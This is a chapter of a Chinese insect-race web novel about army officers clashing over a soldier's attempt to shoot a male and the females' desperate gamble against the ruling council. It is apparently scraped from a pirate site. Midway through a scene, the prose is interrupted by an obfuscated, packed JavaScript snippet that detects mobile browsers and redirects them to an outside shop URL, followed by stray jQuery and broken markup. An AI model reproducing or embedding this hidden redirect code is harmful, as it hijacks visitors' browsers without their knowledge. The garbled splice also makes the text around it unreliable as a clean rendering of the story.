13. 豪赌
    约布弗跪在地上,脸色苍白,不复之前的气焰却也拒不服软:“中将,我——”

    路彻得斯手上的枪已经抵在了他的下巴,硬逼着人抬起头,声音又低又轻:“打了几年仗,军纪就被你吃进狗肚子里了啊?”

    约布弗对上路彻得斯幽凉的红眸,脑子一空,登时什么话也说不出来了,跪在那一动也不敢动,刚刚干透了的后背又湿了一片。

    纳恒站在后面,顺着扫视了一圈刚才站在旁边心有怨气冷眼旁观的军雌,声音森冷:“众目睽睽之下公然挑衅出手射杀雄虫,活腻了就都给我滚到后营受刑!”

    是警告,也是保护。

    营地并非铜墙铁壁,先前射杀逃跑雄虫还可以以通敌罪为由,现在希边得尔和米阶斯两人可称得上是安分守己,如若射杀一事走漏风声,议阁雄虫一旦以此为借口问责,就是少将之位也顶不住,大半个第一军都会受到牵连。

    这么一骂,其他军雌也从极致的愤怒与怨恨中清醒过来,纷纷羞愧地低下头,静默地等待处罚。

    路彻得斯盯视了约布弗一会儿,枪管拿开,直起身来:“自己去后营。”

    不用约布弗开口,旁边军雌已经先一步捂住他的嘴,十几人生拉硬拽将他硬生生拖去了后营。

    草地上登时只剩下了四人。

    路彻得斯没有开口,只是背对着几人抽了张帕子仔仔细细地擦着枪管。

    纳恒瞥了他一眼,上前两步走到米阶斯前面:“抱歉阁下,受惊了。”

    米阶斯将将才缓过来,看到纳恒走近下意识往后退了两步:“没,没事。”

    纳恒在原地站定,碧眼漠然,直视着他:“军雌违反军纪,军部自然会惩治。”

    说着,他像是不经意道:“听闻阁下自荒星而来?”

    凌长云眸子转过去。

    米阶斯虽然还心有余悸,但毕竟是能从荒星偷偷溜回主星的虫,闻言瞬间明白了他的威胁。

    他抬手抹去脸上新流下来的血,左右没有精神力的雄虫谁也得罪不起,直接右手扶肩:“意外经过,虫神作证。”

    纳恒轻点了头:“最近乱,阁下请回吧。”

    米阶斯胡乱点了点头,转身就要和凌长云一起回去。

    “等等。”

    路彻得斯蓦地出声。

    两人停下脚步,纳恒眉头微蹙,扭头看过去:“路彻得斯?”

    路彻得斯把帕子扔进垃圾箱,光能枪随意地别回腰间,转过了身,看着凌长云;“突然想起来还有些事没处理,阁下跟我走一道?”

    纳恒顺着他的视线看过去。

    先前没有注意到那边,这么一看,碧色的眸子也滞了会儿。

    要不是先前军雌报告过,真以为是亚雌。

    凌长云对上路彻得斯的视线,眉梢微挑,食指指了指自己:我?

    路彻得斯:“当然,希边得尔阁下。”

    “……”凌长云点了点头,“可以。”

    纳恒收敛心神:“你要干什么?”

    路彻得斯转身往外走:“处理完了回大帐。”

    “阁下。”米阶斯伸手拦住凌长云,眉宇间含着担忧。

    “没事,你先回去。”凌长云低声道了一句,跟着路彻得斯走远了。

    米阶斯无法,只能转身自己回去。

    “嘀嘀。”

    “等等。”

    纳恒腕间光脑振动,低头看完后叫住了米阶斯。

    米阶斯脚步一停,僵硬转身。

    纳恒的眼里一瞬带上审视:“阁下和奥列伦希中将有联系?”

    “?!”米阶斯刹那睁大眼睛。

    ……

    仲夏热得紧,还没走出营地,凌长云就热出了一身汗。路彻得斯却是越走越快,半句话也没有,凌长云只能步步紧跟。

    出了营地便是一片远山林,营地地势高,站上去,下面的景象便一览无余。

    遍地都是新倒下的异兽尸体。

    残肢断尾。

    光是看着,凌长云便觉呼吸一窒,血气翻涌上来,更觉胃里翻腾。

    “军雌死后会化为原形彻底消散。”路彻得斯开了口。

    凌长云抬手按住胸口,强压下不适:“……什么?”

    化为原形?

    在曼斯勒安,雄虫和雌虫不同,但路彻得斯并没有解释的意思:“那名军雌虽然带了情绪,但说的也是事实。”

    别的什么军装帐子水等等都不限量地供给,唯独扣着购买光弹和营养剂的专用军费。

    “……”

    凌长云怔住了。

    “雌虫宿命如此,每一场胜利都是用人命堆出来的,”路彻得斯倏地转身,静静地看着凌长云,“所以,偶有爆发也很正常不是吗?”

    每一次战争都全力以赴,每一场胜利都尸血满地,用一条条性命累起来的功勋甚至换不到一次勉强够用的供给。所以,压抑高压下,偶尔有一次的失控爆发也不算过分吧?

    他似是叹了一声:“议阁军费给的少,又不准我们制造别的武器,战场上除了光弹射击就只能虫化肉搏。先前击伤阁下右腿的是第三军少将西兰白,他的左臂便是早年在战场上被异兽硬生生撤下来嚼进去的,连半点医治的可能都没有。”

    凌长云的脸色已近惨白,根本说不出半句话来。

    “他心里有怨,今天的军雌心里也有怨,但没有人不把击退异兽置于生命之前。牺牲是常态,守护是使命,”路彻得斯右手扶肩,“此前种种,还请阁下见谅。”

    “……”

    夏季的风吹得再大也是炽热的,军雌的长发在半空中翻飞,黑金的军装在风里猎猎作响。实在忍受不住爆发出来的怨恨与下面战场上经久不散的血腥与腐臭一并顺着包裹住了愣在原地的凌长云,钻了脑入了心,不知名的情绪在心底扎下了结实的根,刺得人生疼。

    “虫神作证。”

    ……

    等路彻得斯回到大帐,却发现里面只有纳恒一人。

    路彻得斯走过去:“其他人呢?”

    “……”纳恒没有说话,抬眸,直直地盯视着他。

    太不同于往常,路彻得斯也停下了脚步。

    两人间不到一米的距离。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223095|139397||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>“怎么,中将有指示?”路彻得斯玩味儿道。

    纳恒开口:“奥列伦希做的事你知道?”

    路彻得斯挑眉:“第一军的消息倒是快。”

    纳恒没有接他的话:“今天的事也是你故意为之?”

    路彻得斯看着他,眼神不躲不闪:“这么高看我?我又不是祭司,能未卜先知。”

    纳恒:“你知道我在说什么。”

    “我不知道。”路彻得斯抬靴,要绕过他往前走。

    “今天那一枪,倘若我不拦你你是不是要他死?”纳恒伸臂拦住了他。

    路彻得斯脚步微微后退,前襟与臂肘间的布料轻轻一刮。

    他干脆站在原地:“第一军本就被视为眼中钉,你管不好,那就让我来教一次。”

    纳恒眼神发寒:“他也是雌虫。”

    路彻得斯比他更冷:“他是会害死雌虫的雌虫。”

    纳恒:“他杀的是米阶斯!”

    路彻得斯:“他要杀的是站在那的两只雄虫!”

    纳恒:“希边得尔就那么重要?”

    路彻得斯转过身面对他:“那么强的精神力数据,游离于议阁之外的雄虫,他不重要?你跟我搞笑呢?!”

    纳恒:“那也不是你射杀一名军雌的理由!你要护的是军雌,别忘了他也是军雌!!!”

    “一名军雌?”路彻得斯突然嗤笑出声,“纳恒,你有一点说对了,我要护的是军雌。”

    他上前逼近纳恒:“是整个雌虫群体。雌虫千千万,别说一个,就是百个千个哪怕万个也要给我让路!”

    “……”

    整个大帐瞬间安静下来,只余略显粗重的喘气声在里面回荡。

    半晌,路彻得斯后撤一步:“管好你的人,光弹虽然少,但我也不介意用在第一军营地之上。”

    说完,他转身朝前走去,没再看纳恒一眼。

    “嘀嘀。”

    通讯器接通。

    “中将。”

    “把人都叫过来。”

    “是!”

    通讯器一挂,纳恒蓦地出声:“你在赌?”

    “虫族自诞生起就是一场豪赌。”

    “输了呢?”

    “以前赢过?”

    “……”

    即便再不认同,纳恒也不得不承认,自雄虫开始站上高位之时,雌虫便一次都没有赢过。

    一次都没有。

    赢了是摆脱苦难的千古盛事。

    输了也不会让雌虫处境更加艰难。

    不会比这更加艰难。

    ……

    凌长云心绪乱极了。今天发生的事太过猝不及防,信息量也大得惊人,一时之间竟密密麻麻理不清半点儿头绪。

    等他踏着最后一抹晚霞走进帐子,才开了灯就看到一个人影倏然出现在眼前。

    凌长云骤不及防被吓了一跳,看清是米阶斯后才松了口气:“阁下?”

    “咚!”

    米阶斯猛地单膝跪在了地上,动作之突然声音之大让凌长云都惊得愣在了原地。

    “???”